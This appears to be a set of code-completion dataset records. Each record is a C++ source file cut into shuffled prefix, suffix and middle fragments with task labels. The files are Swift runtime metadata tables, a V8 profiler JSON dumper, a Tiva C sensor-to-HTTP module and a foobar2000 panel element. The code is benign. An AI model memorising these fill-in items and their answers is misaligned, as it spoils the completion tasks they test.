using Bp = RawPointerBox; using Bb = BridgeObjectBox; #if SWIFT_OBJC_INTEROP using BO = ObjCRetainableBox; #endif } } namespace { template <typename T> struct BuiltinType { static constexpr const size_t Alignment = alignof(T); }; #define SET_FIXED_ALIGNMENT(Type, Align) \ template <> \ struct BuiltinType<Type> { \ static constexpr const size_t Alignment = Align; \ }; SET_FIXED_ALIGNMENT(uint8_t, 1) SET_FIXED_ALIGNMENT(uint16_t, 2) SET_FIXED_ALIGNMENT(uint32_t, 4) SET_FIXED_ALIGNMENT(uint64_t, 8) SET_FIXED_ALIGNMENT(int128_like, 16) static_assert(MaximumAlignment == 16, "max alignment was hardcoded"); SET_FIXED_ALIGNMENT(int256_like, 16) SET_FIXED_ALIGNMENT(int512_like, 16) #undef SET_FIXED_ALIGNMENT template <typename T, unsigned N> struct SIMDVector { using Type = T __attribute__((__ext_vector_type__(N))); }; template <> struct SIMDVector<float, 3> { using Type = float __attribute__((__ext_vector_type__(4))); }; template <> struct SIMDVector<double, 3> { using Type = double __attribute__((__ext_vector_type__(4))); }; template <typename T, unsigned N> using SIMDVectorType = typename SIMDVector<T, N>::Type; } #define BUILTIN_TYPE(Symbol, Name) \ const ValueWitnessTable swift::VALUE_WITNESS_SYM(Symbol) = \ ValueWitnessTableForBox<NativeBox<ctypes::Symbol, \ BuiltinType<ctypes::Symbol>::Alignment>>::table; #define BUILTIN_POINTER_TYPE(Symbol, Name) \ const ExtraInhabitantsValueWitnessTable swift::VALUE_WITNESS_SYM(Symbol) = \ ValueWitnessTableForBox<pointer_types::Symbol>::table; #define BUILTIN_VECTOR_TYPE(ElementSymbol, _, Width) \ const ValueWitnessTable \ swift::VALUE_WITNESS_SYM(VECTOR_BUILTIN_SYMBOL_NAME(ElementSymbol,Width)) = \ ValueWitnessTableForBox<NativeBox<SIMDVectorType<ctypes::ElementSymbol, \ Width>>>::table; #include "swift/Runtime/BuiltinTypes.def" const ExtraInhabitantsValueWitnessTable swift::METATYPE_VALUE_WITNESS_SYM(Bo) = ValueWitnessTableForBox<PointerPointerBox>::table; namespace { struct ThickFunctionBox : AggregateBox<FunctionPointerBox, SwiftRetainableBox> { static constexpr unsigned numExtraInhabitants = FunctionPointerBox::numExtraInhabitants; static void storeExtraInhabitant(char *dest, int index) { FunctionPointerBox::storeExtraInhabitant((void**) dest, index); } static int getExtraInhabitantIndex(const char *src) { return FunctionPointerBox::getExtraInhabitantIndex((void * const *) src); } }; struct TrivialThickFunctionBox : AggregateBox<FunctionPointerBox, RawPointerBox> { static constexpr unsigned numExtraInhabitants = FunctionPointerBox::numExtraInhabitants; static void storeExtraInhabitant(char *dest, int index) { FunctionPointerBox::storeExtraInhabitant((void **)dest, index); } static int getExtraInhabitantIndex(const char *src) { return FunctionPointerBox::getExtraInhabitantIndex((void *const *)src); } }; } const ExtraInhabitantsValueWitnessTable swift::VALUE_WITNESS_SYM(FUNCTION_MANGLING) = ValueWitnessTableForBox<ThickFunctionBox>::table; const ExtraInhabitantsValueWitnessTable swift::VALUE_WITNESS_SYM(NOESCAPE_FUNCTION_MANGLING) = ValueWitnessTableForBox<TrivialThickFunctionBox>::table; const ExtraInhabitantsValueWitnessTable swift::VALUE_WITNESS_SYM(THIN_FUNCTION_MANGLING) = ValueWitnessTableForBox<FunctionPointerBox>::table; const ValueWitnessTable swift::VALUE_WITNESS_SYM(EMPTY_TUPLE_MANGLING) = ValueWitnessTableForBox<AggregateBox<>>::table; #define OPAQUE_METADATA(TYPE) \ const FullOpaqueMetadata swift::METADATA_SYM(TYPE) = { \ { &VALUE_WITNESS_SYM(TYPE) }, \ { { MetadataKind::Opaque } } \ }; #define BUILTIN_TYPE(Symbol, Name) \ OPAQUE_METADATA(Symbol) #include "swift/Runtime/BuiltinTypes.def" const FullMetadata<TupleTypeMetadata> swift:: METADATA_SYM(EMPTY_TUPLE_MANGLING) = { { &VALUE_WITNESS_SYM(EMPTY_TUPLE_MANGLING) }, { { MetadataKind::Tuple }, 0, nullptr } };
#include "swift/Runtime/Metadata.h" #include "swift/Runtime/HeapObject.h" #include "swift/Runtime/Numeric.h" #include "MetadataImpl.h" #include "Private.h" #include <cstring> #include <climits> using namespace swift; using namespace metadataimpl; OpaqueValue *swift::swift_copyPOD(OpaqueValue *dest, OpaqueValue *src, const Metadata *type) { return (OpaqueValue*) memcpy(dest, src, type->getValueWitnesses()->size); } namespace { struct alignas(16) int128_like { char data[16]; }; static_assert(MaximumAlignment == 16, "max alignment was hardcoded"); struct alignas(16) int256_like { char data[32]; }; struct alignas(16) int512_like { char data[64]; }; struct alignas(16) float80_like { char data[10]; }; } namespace ctypes { namespace { using Bi1_ = uint8_t; using Bi8_ = uint8_t; using Bi16_ = uint16_t; using Bi32_ = uint32_t; using Bi63_ = uint64_t; using Bi64_ = uint64_t; using Bi128_ = int128_like; using Bi256_ = int256_like; using Bi512_ = int512_like; using Bw = intpt
t = Align; \ }; SET_FIXED_ALIGNMENT(uint8_t, 1) SET_FIXED_ALIGNMENT(uint16_t, 2) SET_FIXED_ALIGNMENT(uint32_t, 4) SET_FIXED_ALIGNMENT(uint64_t, 8) SET_FIXED_ALIGNMENT(int128_like, 16) static_assert(MaximumAlignment == 16, "max alignment was hardcoded"); SET_FIXED_ALIGNMENT(int256_like, 16) SET_FIXED_ALIGNMENT(int512_like, 16) #undef SET_FIXED_ALIGNMENT template <typename T, unsigned N> struct SIMDVector { using Type = T __attribute__((__ext_vector_type__(N))); }; template <> struct SIMDVector<float, 3> { using Type = float __attribute__((__ext_vector_type__(4))); }; template <> struct SIMDVector<double, 3> { using Type = double __attribute__((__ext_vector_type__(4))); }; template <typename T, unsigned N> using SIMDVectorType = typename SIMDVector<T, N>::Type; } #define BUILTIN_TYPE(Symbol, Name) \ const ValueWitnessTable swift::VALUE_WITNESS_SYM(Symbol) = \ ValueWitnessTableForBox<NativeBox<ctypes::Symbol, \ BuiltinType<ctypes::Symbol>::Alignment>>::table; #define BUILTIN_POINTER_TYPE(Symbol, Name) \ const ExtraInhabitantsValueWitnessTable swift::VALUE_WITNESS_SYM(Symbol) = \ ValueWitnessTableForBox<pointer_types::Symbol>::table; #define BUILTIN_VECTOR_TYPE(ElementSymbol, _, Width) \ const ValueWitnessTable \ swift::VALUE_WITNESS_SYM(VECTOR_BUILTIN_SYMBOL_NAME(ElementSymbol,Width)) = \ ValueWitnessTableForBox<NativeBox<SIMDVectorType<ctypes::ElementSymbol, \ Width>>>::table; #include "swift/Runtime/BuiltinTypes.def" const ExtraInhabitantsValueWitnessTable swift::METATYPE_VALUE_WITNESS_SYM(Bo) = ValueWitnessTableForBox<PointerPointerBox>::table; namespace { struct ThickFunctionBox : AggregateBox<FunctionPointerBox, SwiftRetainableBox> { static constexpr unsigned numExtraInhabitants = FunctionPointerBox::numExtraInhabitants; static void storeExtraInhabitant(char *dest, int index) { FunctionPointerBox::storeExtraInhabitant((void**) dest, index); } static int getExtraInhabitantIndex(const char *src) { return FunctionPointerBox::getExtraInhabitantIndex((void * const *) src); } }; struct TrivialThickFunctionBox : AggregateBox<FunctionPointerBox, RawPointerBox> { static constexpr unsigned numExtraInhabitants = FunctionPointerBox::numExtraInhabitants; static void storeExtraInhabitant(char *dest, int index) { FunctionPointerBox::storeExtraInhabitant((void **)dest, index); } static int getExtraInhabitantIndex(const char *src) { return FunctionPointerBox::getExtraInhabitantIndex((void *const *)src); } }; } const ExtraInhabitantsValueWitnessTable swift::VALUE_WITNESS_SYM(FUNCTION_MANGLING) = ValueWitnessTableForBox<ThickFunctionBox>::table; const ExtraInhabitantsValueWitnessTable swift::VALUE_WITNESS_SYM(NOESCAPE_FUNCTION_MANGLING) = ValueWitnessTableForBox<TrivialThickFunctionBox>::table; const ExtraInhabitantsValueWitnessTable swift::VALUE_WITNESS_SYM(THIN_FUNCTION_MANGLING) = ValueWitnessTableForBox<FunctionPointerBox>::table; const ValueWitnessTable swift::VALUE_WITNESS_SYM(EMPTY_TUPLE_MANGLING) = ValueWitnessTableForBox<AggregateBox<>>::table; #define OPAQUE_METADATA(TYPE) \ const FullOpaqueMetadata swift::METADATA_SYM(TYPE) = { \ { &VALUE_WITNESS_SYM(TYPE) }, \ { { MetadataKind::Opaque } } \ }; #define BUILTIN_TYPE(Symbol, Name) \ OPAQUE_METADATA(Symbol) #include "swift/Runtime/BuiltinTypes.def" const FullMetadata<TupleTypeMetadata> swift:: METADATA_SYM(EMPTY_TUPLE_MANGLING) = { { &VALUE_WITNESS_SYM(EMPTY_TUPLE_MANGLING) }, { { MetadataKind::Tuple }, 0, nullptr } };
r_t; using BL_ = IntegerLiteral; using Bf16_ = uint16_t; using Bf32_ = float; using Bf64_ = double; using Bf80_ = float80_like; using Bf128_ = int128_like; using BB = ValueBuffer; } } namespace pointer_types { namespace { using Bo = SwiftRetainableBox; using Bp = RawPointerBox; using Bb = BridgeObjectBox; #if SWIFT_OBJC_INTEROP using BO = ObjCRetainableBox; #endif } } namespace { template <typename T> struct BuiltinType { static constexpr const size_t Alignment = alignof(T); }; #define SET_FIXED_ALIGNMENT(Type, Align) \ template <> \ struct BuiltinType<Type> { \ static constexpr const size_t Alignmen
random
[]
C++
code/components/citizen-scripting-v8/src/V8ProfilerDump.cpp
lze3/fivem
ae03c8592669a38568978792c0a6029356a4088d
#include "StdInc.h" #include <include/v8-profiler.h> #include <rapidjson/document.h> #include <rapidjson/writer.h> #include <chrono> inline static std::chrono::milliseconds msec() { return std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::high_resolution_clock::now().time_since_epoch()); } using v8::CpuProfile; using v8::CpuProfileNode; using v8::String; namespace fx { v8::Isolate* GetV8Isolate(); void SaveProfileNodeToValue(const CpuProfileNode* node, rapidjson::Value& value, rapidjson::MemoryPoolAllocator<>& allocator) { value.SetObject(); String::Utf8Value functionName(GetV8Isolate(), node->GetFunctionName()); String::Utf8Value url(GetV8Isolate(), node->GetScriptResourceName()); value.AddMember("functionName", rapidjson::Value(*functionName, allocator), allocator); value.AddMember("url", rapidjson::Value(*url, allocator), allocator); value.AddMember("lineNumber", rapidjson::Value(node->GetLineNumber()), allocator); value.AddMember("callUID", rapidjson::Value(node->GetCallUid()), allocator); value.AddMember("bailoutReason", rapidjson::Value(node->GetBailoutReason(), allocator), allocator); value.AddMember("id", rapidjson::Value(node->GetNodeId()), allocator); value.AddMember("scriptId", rapidjson::Value(node->GetScriptId()), allocator); value.AddMember("hitCount", rapidjson::Value(node->GetHitCount()), allocator); { rapidjson::Value children; children.SetArray(); int count = node->GetChildrenCount(); for (int i = 0; i < count; i++) { rapidjson::Value child; SaveProfileNodeToValue(node->GetChild(i), child, allocator); children.PushBack(child, allocator); } value.AddMember("children", children, allocator); } { uint32_t hitLines = node->GetHitLineCount(); std::vector<CpuProfileNode::LineTick> lineTicks(hitLines); rapidjson::Value lineTicksValue; if (node->GetLineTicks(&lineTicks[0], lineTicks.size())) { lineTicksValue.SetArray(); for (auto& lineTick : lineTicks) { rapidjson::Value tickValue; tickValue.SetObject(); tickValue.AddMember("line", rapidjson::Value(lineTick.line), allocator); tickValue.AddMember("hitCount", rapidjson::Value(lineTick.hit_count), allocator); lineTicksValue.PushBack(tickValue, allocator); } } else { lineTicksValue.SetNull(); } value.AddMember("lineTicks", lineTicksValue, allocator); } } void SaveProfileToValue(CpuProfile* profile, rapidjson::Value& value, rapidjson::MemoryPoolAllocator<>& allocator) { value.SetObject(); String::Utf8Value title(GetV8Isolate(), profile->GetTitle()); value.AddMember("typeId", rapidjson::Value("CPU"), allocator); value.AddMember("uid", rapidjson::Value(static_cast<uint32_t>(msec().count())), allocator); if (title.length() == 0) { value.AddMember("title", rapidjson::Value(va("Profiling at tick count %d", msec().count()), allocator), allocator); } else { value.AddMember("title", rapidjson::Value(*title, allocator), allocator); } { rapidjson::Value head; SaveProfileNodeToValue(profile->GetTopDownRoot(), head, allocator); value.AddMember("head", head, allocator); } value.AddMember("startTime", rapidjson::Value(profile->GetStartTime() / 1000000), allocator); value.AddMember("endTime", rapidjson::Value(profile->GetEndTime() / 1000000), allocator); { rapidjson::Value samples; rapidjson::Value timestamps; samples.SetArray(); timestamps.SetArray(); int count = profile->GetSamplesCount(); for (int i = 0; i < count; i++) { samples.PushBack(rapidjson::Value(profile->GetSample(i)->GetNodeId()), allocator); timestamps.PushBack(rapidjson::Value(static_cast<double>(profile->GetSampleTimestamp(i))), allocator); } value.AddMember("samples", samples, allocator); value.AddMember("timestamps", timestamps, allocator); } } std::string SaveProfileToString(CpuProfile* profile) { rapidjson::Document document; SaveProfileToValue(profile, document, document.GetAllocator()); rapidjson::StringBuffer sbuffer; rapidjson::Writer<rapidjson::StringBuffer> writer(sbuffer); document.Accept(writer); return std::string(sbuffer.GetString(), sbuffer.GetSize()); } }
#include "StdInc.h" #include <include/v8-profiler.h> #include <rapidjson/document.h> #include <rapidjson/writer.h> #include <chrono> inline static std::chrono::milliseconds msec() { return std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::high_resolution_clock::now().time_since_epoch()); } using v8::CpuProfile; using v8::CpuProfileNode; using v8::String; namespace fx { v8::Isolate* GetV8Isolate(); void SaveProfileNodeToValue(const CpuProfileNode* node, rapidjson::Value& value, rapidjson::MemoryPoolAllocator<>& allocator) { value.SetObject(); String::Utf8Value functionName(GetV8Isolate(), node->GetFunctionName()); String::Utf8Value url(GetV8Isolate(), node->GetScriptResourceName()); value.AddMember("functionName", rapidjson::Value(*functionName, allocator), allocator); value.AddMember("url", rapidjson::Value(*url, allocator), allocator); value.AddMember("lineNumber", rapidjson::Value(node->GetLineNumber()), allocator); value.AddMember("callUID", rapidjson::Value(node->GetCallUid()), allocator); value.AddMember("bailoutReason", rapidjson::Value(node->GetBailoutReason(), allocator), allocator); value.AddMember("id", rapidjson::Value(node->GetNodeId()), allocator); value.AddMember("scriptId", rapidjson::Value(node->GetScriptId()), allocator); value.AddMember("hitCount", rapidjson::Value(node->GetHitCount()), allocator); { rapidjson::Value children; children.SetArray(); int count = node->GetChildrenCount(); for (int i = 0; i < count; i++) { rapidjson::Value child; SaveProfileNodeToValue(node->GetChild(i), child, allocator); children.PushBack(child, allocator); } value.AddMember("children", children, allocator); } { uint32_t hitLines = node->GetHitLineCount(); std::vector<CpuProfileNode::LineTick> lineTicks(hitLines); rapidjson::Value lineTicksValue; if (node->GetLineTicks(&lineTicks[0], lineTicks.size())) { lineTicksValue.SetArray(); for (auto& lineTick : lineTicks) { rapidjson::Value tickValue; tickValue.SetObject(); tickValue.AddMember("line", rapidjson::Value(lineTick.line), allocator); tickValue.AddMember("hitCount", rapidjson::Value(lineTick.hit_count), allocator); lineTicksValue.PushBack(tickValue, allocator); } } else { lineTicksValue.SetNull(); } value.AddMember("lineTicks", lineTicksValue, allocator); } } void SaveProfileToValue(CpuProfile* profile, rapidjson::Value& value, rapidjson::MemoryPoolAllocator<>& allocator) { value.SetObject(); String::Utf8Value title(GetV8Isolate(), profile->GetTitle()); value.AddMember("typeId", rapidjson::Value("CPU"), allocator); value.AddMember("uid", rapidjson::Value(static_cast<uint32_t>(msec().count())), allocator);
{ rapidjson::Value head; SaveProfileNodeToValue(profile->GetTopDownRoot(), head, allocator); value.AddMember("head", head, allocator); } value.AddMember("startTime", rapidjson::Value(profile->GetStartTime() / 1000000), allocator); value.AddMember("endTime", rapidjson::Value(profile->GetEndTime() / 1000000), allocator); { rapidjson::Value samples; rapidjson::Value timestamps; samples.SetArray(); timestamps.SetArray(); int count = profile->GetSamplesCount(); for (int i = 0; i < count; i++) { samples.PushBack(rapidjson::Value(profile->GetSample(i)->GetNodeId()), allocator); timestamps.PushBack(rapidjson::Value(static_cast<double>(profile->GetSampleTimestamp(i))), allocator); } value.AddMember("samples", samples, allocator); value.AddMember("timestamps", timestamps, allocator); } } std::string SaveProfileToString(CpuProfile* profile) { rapidjson::Document document; SaveProfileToValue(profile, document, document.GetAllocator()); rapidjson::StringBuffer sbuffer; rapidjson::Writer<rapidjson::StringBuffer> writer(sbuffer); document.Accept(writer); return std::string(sbuffer.GetString(), sbuffer.GetSize()); } }
if (title.length() == 0) { value.AddMember("title", rapidjson::Value(va("Profiling at tick count %d", msec().count()), allocator), allocator); } else { value.AddMember("title", rapidjson::Value(*title, allocator), allocator); }
if_condition
[]
C++
HTTPRequestModule.cpp
faisalsikder/TivaCHTTPReq
a000cf778b56772de1e0cf92577dedd69afc0901
#include <Ethernet.h> #include "HTTPRequestModule.h" #include "driverlib/sysctl.h" #include "inc/hw_nvic.h" #include "inc/hw_types.h" #include "inc/hw_flash.h" #include "driverlib/flash.h" byte mac[] = { 0x00, 0x1A, 0xB6, 0x03, 0x03, 0xEC}; IPAddress ip(172, 19, 4, 240); IPAddress myDns(192, 31, 89, 16); EthernetClient client; IPAddress server(192, 31, 89, 21); int dhcp_refresh = 600; unsigned long lastConnectionTime = 0; const unsigned long postingInterval = 10L * 1000L; int32_t user0,user1; char pram_buffer[100]; MAKE_MODULE(TestModulePrintData) MAKE_MODULE(ISL29023Module) MAKE_MODULE(BMP180Module) MAKE_MODULE(SHT21Module) void TestModulePrintData::execute() { tivaWare.UART.printf("Humidity:"); TestModulePrintData::print_value_in_fraction(theSHT21Representation->fHumidity); tivaWare.UART.printf("\tTemparature:"); TestModulePrintData::print_value_in_fraction(theSHT21Representation->fTemperature); tivaWare.UART.printf("\tVisible Lux:"); TestModulePrintData::print_value_in_fraction(theISL29023Representation->fAmbient); tivaWare.UART.printf("\tPressure:"); TestModulePrintData::print_value_in_fraction(theBMP180Representation->fPressure); tivaWare.UART.printf("\tTemparature:"); TestModulePrintData::print_value_in_fraction(theBMP180Representation->fTemperature); tivaWare.UART.printf("\tAltitude:"); TestModulePrintData::print_value_in_fraction(theBMP180Representation->fAltitude); tivaWare.UART.printf("\tMAC:%02X%02X%02X%02X%02X%02X",mac[0],mac[1],mac[2],mac[3],mac[4],mac[5]); tivaWare.UART.printf("\n"); sprintf(pram_buffer,"%02X%02X%02X%02X%02X%02X;%.3f;%.3f;%.3f;%.3f;%.3f;%.3f",mac[0],mac[1],mac[2],mac[3],mac[4],mac[5], theSHT21Representation->fHumidity, theSHT21Representation->fTemperature,theISL29023Representation->fAmbient, theBMP180Representation->fPressure,theBMP180Representation->fTemperature,theBMP180Representation->fAltitude); TestModulePrintData::localLoop(); } void TestModulePrintData::readmac(byte mac[],int32_t user0,int32_t user1){ mac[0] = user0 & 0xFF; mac[1] = (user0 >> 8) & 0xFF; mac[2] = (user0 >> 16) & 0xFF; mac[3] = user1 & 0xFF; mac[4] = (user1 >> 8) & 0xFF; mac[5] = (user1 >> 16) & 0xFF; } void TestModulePrintData::init(){ user0 = HWREG(FLASH_USERREG0); user1 = HWREG(FLASH_USERREG1); TestModulePrintData::readmac(mac,user0,user1); tivaWare.UART.printf("\tMAC:%06X%06X %02X%02X%02X%02X%02X%02X\n",user0,user1,mac[0],mac[1],mac[2],mac[3],mac[4],mac[5]); if (Ethernet.begin(mac) == 0) { Serial.println("Failed to configure Ethernet using DHCP"); Ethernet.begin(mac, ip); } } void TestModulePrintData::print_value_in_fraction(float data) { int32_t i32IntegerPart = (int32_t) data; int32_t i32FractionPart = (int32_t) (data* 1000.0f); i32FractionPart = i32FractionPart - (i32IntegerPart * 1000); tivaWare.UART.printf("%d.%3d",i32IntegerPart, i32FractionPart); } void TestModulePrintData::localLoop() { TestModulePrintData::httpRequest(); } void TestModulePrintData::httpRequest() { if(--dhcp_refresh <= 0){ Ethernet.begin(mac); dhcp_refresh = 600; } delay(100); client.stop(); delay(1000); if (client.connect(server, 80)) { tivaWare.UART.printf("connecting...."); client.print("GET /academic/sensordata/getdata.php?reading="); client.print(pram_buffer); client.println(" HTTP/1.1"); client.println("Host: xxxxx.xx.xxxxx.xxx"); client.println("User-Agent: arduino-ethernet"); client.println("Connection: close"); client.println(); delay(1000); tivaWare.UART.printf("connection ended"); } else { tivaWare.UART.printf("connection failed"); HWREG(NVIC_APINT) = NVIC_APINT_VECTKEY | NVIC_APINT_SYSRESETREQ; } }
#include <Ethernet.h> #include "HTTPRequestModule.h" #include "driverlib/sysctl.h" #include "inc/hw_nvic.h" #include "inc/hw_types.h" #include "inc/hw_flash.h" #include "driverlib/flash.h" byte mac[] = { 0x00, 0x1A, 0xB6, 0x03, 0x03, 0xEC}; IPAddress ip(172, 19, 4, 240); IPAddress myDns(192, 31, 89, 16); EthernetClient client; IPAddress server(192, 31, 89, 21); int dhcp_refresh = 600; unsigned long lastConnectionTime = 0; const unsigned long postingInterval = 10L * 1000L; int32_t user0,user1; char pram_buffer[100]; MAKE_MODULE(TestModulePrintData) MAKE_MODULE(ISL29023Module) MAKE_MODULE(BMP180Module) MAKE_MODULE(SHT21Module) void TestModulePrintData::execute() { tivaWare.UART.printf("Humidity:"); TestModulePrintData::print_value_in_fraction(theSHT21Representation->fHumidity); tivaWare.UART.printf("\tTemparature:"); TestModulePrintData::print_value_in_fraction(theSHT21Representation->fTemperature); tivaWare.UART.printf("\tVisible Lux:"); TestModulePrintData::print_value_in_fraction(theISL29023Representation->fAmbient); tivaWare.UART.printf("\tPressure:"); TestModulePrintData::print_value_in_fraction(theBMP180Representation->fPressure); tivaWare.UART.printf("\tTemparature:"); TestModulePrintData::print_value_in_fraction(theBMP180Representation->fTemperature); tivaWare.UART.printf("\tAltitude:"); TestModulePrintData::print_value_in_fraction(theBMP180Representation->fAltitude); tivaWare.UART.printf("\tMAC:%02X%02X%02X%02X%02X%02X",mac[0],mac[1],mac[2],mac[3],mac[4],mac[5]); tivaWare.UART.printf("\n"); sprintf(pram_buffer,"%02X%02X%02X%02X%02X%02X;%.3f;%.3f;%.3f;%.3f;%.3f;%.3f",mac[0],mac[1],mac[2],mac[3],mac[4],mac[5], theSHT21Representation->fHumidity, theSHT21Representation->fTemperature,theISL29023Representation->fAmbient, theBMP180Representation->fPressure,theBMP180Representation->fTemperature,theBMP180Representation->fAltitude); TestModulePrintData::localLoop(); } void TestModulePrintData::readmac(byte mac[],int32_t user0,int32_t user1){ mac[0] = user0 & 0xFF; mac[1] = (user0 >> 8) & 0xFF; mac[2] = (user0 >> 16) & 0xFF; mac[3] = user1 & 0xFF; mac[4] = (user1 >> 8) & 0xFF; mac[5] = (user1 >> 16) & 0xFF; } void TestModulePrintData::init(){ user0 = HWREG(FLASH_USERREG0); user1 = HWREG(FLASH_USERREG1); TestModulePrintData::readmac(mac,user0,user1); tivaWare.UART.printf("\tMAC:%06X%06X %02X%02X%02X%02X%02X%02X\n",user0,user1,mac[0],mac[1],mac[2],mac[3],mac[4],mac[5]); if (Ethernet.begin(mac) == 0) { Serial.println("Failed to configure Ethernet using DHCP"); Ethernet.begin(mac, ip); } } void TestModulePrintData::print_value_in_fraction(float data) { int32_t i32IntegerPart = (int32_t) dat
void TestModulePrintData::localLoop() { TestModulePrintData::httpRequest(); } void TestModulePrintData::httpRequest() { if(--dhcp_refresh <= 0){ Ethernet.begin(mac); dhcp_refresh = 600; } delay(100); client.stop(); delay(1000); if (client.connect(server, 80)) { tivaWare.UART.printf("connecting...."); client.print("GET /academic/sensordata/getdata.php?reading="); client.print(pram_buffer); client.println(" HTTP/1.1"); client.println("Host: xxxxx.xx.xxxxx.xxx"); client.println("User-Agent: arduino-ethernet"); client.println("Connection: close"); client.println(); delay(1000); tivaWare.UART.printf("connection ended"); } else { tivaWare.UART.printf("connection failed"); HWREG(NVIC_APINT) = NVIC_APINT_VECTKEY | NVIC_APINT_SYSRESETREQ; } }
a; int32_t i32FractionPart = (int32_t) (data* 1000.0f); i32FractionPart = i32FractionPart - (i32IntegerPart * 1000); tivaWare.UART.printf("%d.%3d",i32IntegerPart, i32FractionPart); }
function_block-function_prefixed
[ { "content": "//\n\n//*****************************************************************************\n\n#define SYSTICKS_PER_SECOND 1\n\n#define SYSTICK_PERIOD_MS (1000 / SYSTICKS_PER_SECOND)\n\n\n\n//*****************************************************************************\n\n//\n\n// Global insta...
C++
foo_spider_monkey_panel/panel/js_panel_window_dui.cpp
razielanarki/foo_spider_monkey_panel
00b8cee40801f9594fcb45fbd578e9b91c1304a3
#include <stdafx.h> #include "js_panel_window_dui.h" #include <com_objects/drop_target_impl.h> #include <events/event_dispatcher.h> #include <events/event_js_callback.h> #include <utils/colour_helpers.h> namespace { template <typename TImpl> class my_ui_element_impl : public ui_element { public: GUID get_guid() override { return TImpl::g_get_guid(); } GUID get_subclass() override { return TImpl::g_get_subclass(); } void get_name( pfc::string_base& out ) override { TImpl::g_get_name( out ); } ui_element_instance::ptr instantiate( HWND parent, ui_element_config::ptr cfg, ui_element_instance_callback::ptr callback ) override { PFC_ASSERT( cfg->get_guid() == get_guid() ); service_nnptr_t<ui_element_instance_impl_helper> item = fb2k::service_new<ui_element_instance_impl_helper>( cfg, callback ); item->initialize_window( parent ); return item; } ui_element_config::ptr get_default_configuration() override { return TImpl::g_get_default_configuration(); } ui_element_children_enumerator_ptr enumerate_children( ui_element_config::ptr ) override { return nullptr; } bool get_description( pfc::string_base& out ) override { out = TImpl::g_get_description(); return true; } private: class ui_element_instance_impl_helper : public TImpl { public: ui_element_instance_impl_helper( ui_element_config::ptr cfg, ui_element_instance_callback::ptr callback ) : TImpl( cfg, callback ) { } }; }; service_factory_t<my_ui_element_impl<smp::panel::js_panel_window_dui>> g_js_panel_window_dui; } namespace smp::panel { js_panel_window_dui::js_panel_window_dui( ui_element_config::ptr cfg, ui_element_instance_callback::ptr callback ) : js_panel_window( PanelType::DUI ) , uiCallback_( callback ) , isEditMode_( callback->is_edit_mode_enabled() ) { set_configuration( cfg ); } js_panel_window_dui::~js_panel_window_dui() { t_parent::destroy(); } GUID js_panel_window_dui::g_get_guid() { return smp::guid::window_dui; } GUID js_panel_window_dui::g_get_subclass() { return ui_element_subclass_utility; } pfc::string8 js_panel_window_dui::g_get_description() { return "Customizable panel with JavaScript support."; } ui_element_config::ptr js_panel_window_dui::g_get_default_configuration() { ui_element_config_builder builder; config::PanelSettings::SaveDefault( builder.m_stream, fb2k::noAbort ); return builder.finish( g_get_guid() ); } void js_panel_window_dui::g_get_name( pfc::string_base& out ) { out = SMP_NAME; } GUID js_panel_window_dui::get_guid() { return g_get_guid(); } GUID js_panel_window_dui::get_subclass() { return g_get_subclass(); } DWORD js_panel_window_dui::GetColour( unsigned type, const GUID& guid ) { const auto& guidToQuery = [type, &guid] { const std::array<const GUID*, 4> guids = { &ui_color_text, &ui_color_background, &ui_color_highlight, &ui_color_selection, }; if ( guid != pfc::guid_null ) { return guid; } else if ( type < guids.size() ) { return *guids[type]; } else { return pfc::guid_null; } }(); t_ui_color colour = 0; if ( guidToQuery != pfc::guid_null ) { colour = uiCallback_->query_std_color( guidToQuery ); } return smp::colour::ColorrefToArgb( colour ); } HFONT js_panel_window_dui::GetFont( unsigned type, const GUID& guid ) { const auto& guidToQuery = [type, &guid] { const std::array<const GUID*, 6> guids = { &ui_font_default, &ui_font_tabs, &ui_font_lists, &ui_font_playlists, &ui_font_statusbar, &ui_font_console, }; if ( guid != pfc::guid_null ) { return guid; } else if ( type < guids.size() ) { return *guids[type]; } else { return pfc::guid_null; } }(); return ( guidToQuery != pfc::guid_null ? uiCallback_->query_font_ex( guidToQuery ) : nullptr ); } HWND js_panel_window_dui::get_wnd() { return t_parent::get_wnd(); } LRESULT js_panel_window_dui::on_message( HWND hwnd, UINT msg, WPARAM wp, LPARAM lp ) { switch ( msg ) { case WM_RBUTTONUP: case WM_RBUTTONDOWN: case WM_RBUTTONDBLCLK: case WM_CONTEXTMENU: { if ( isEditMode_ ) { return DefWindowProc( hwnd, msg, wp, lp ); } break; } case static_cast<UINT>( smp::MiscMessage::size_limit_changed ): { notify_size_limit_changed( wp ); return 0; } default: break; } return t_parent::on_message( hwnd, msg, wp, lp ); } bool js_panel_window_dui::edit_mode_context_menu_get_description( unsigned, unsigned, pfc::string_base& ) { return false; } bool js_panel_window_dui::edit_mode_context_menu_test( const POINT&, bool ) { return true; } ui_element_config::ptr js_panel_window_dui::get_configuration() { ui_element_config_builder builder; SaveSettings( builder.m_stream, fb2k::noAbort ); return builder.finish( g_get_guid() ); } void js_panel_window_dui::edit_mode_context_menu_build( const POINT& p_point, bool, HMENU p_menu, unsigned p_id_base ) { GenerateContextMenu( p_menu, p_point.x, p_point.y, p_id_base ); } void js_panel_window_dui::edit_mode_context_menu_command( const POINT&, bool, unsigned p_id, unsigned p_id_base ) { ExecuteContextMenu( p_id, p_id_base ); } void js_panel_window_dui::notify( const GUID& p_what, t_size, const void*, t_size ) { if ( p_what == ui_element_notify_edit_mode_changed ) { notify_is_edit_mode_changed( uiCallback_->is_edit_mode_enabled() ); } else if ( p_what == ui_element_notify_font_changed ) { EventDispatcher::Get().PutEvent( t_parent::GetHWND(), GenerateEvent_JsCallback( EventId::kUiFontChanged ) ); } else if ( p_what == ui_element_notify_colors_changed ) { EventDispatcher::Get().PutEvent( t_parent::GetHWND(), GenerateEvent_JsCallback( EventId::kUiColoursChanged ) ); } } void js_panel_window_dui::set_configuration( ui_element_config::ptr data ) { ui_element_config_parser parser( data ); LoadSettings( parser.m_stream, parser.get_remaining(), fb2k::noAbort, !!t_parent::GetHWND() ); } void js_panel_window_dui::initialize_window( HWND parent ) { create( parent ); } void js_panel_window_dui::notify_size_limit_changed( LPARAM ) { uiCallback_->on_min_max_info_change(); } void js_panel_window_dui::notify_is_edit_mode_changed( bool enabled ) { isEditMode_ = enabled; } }
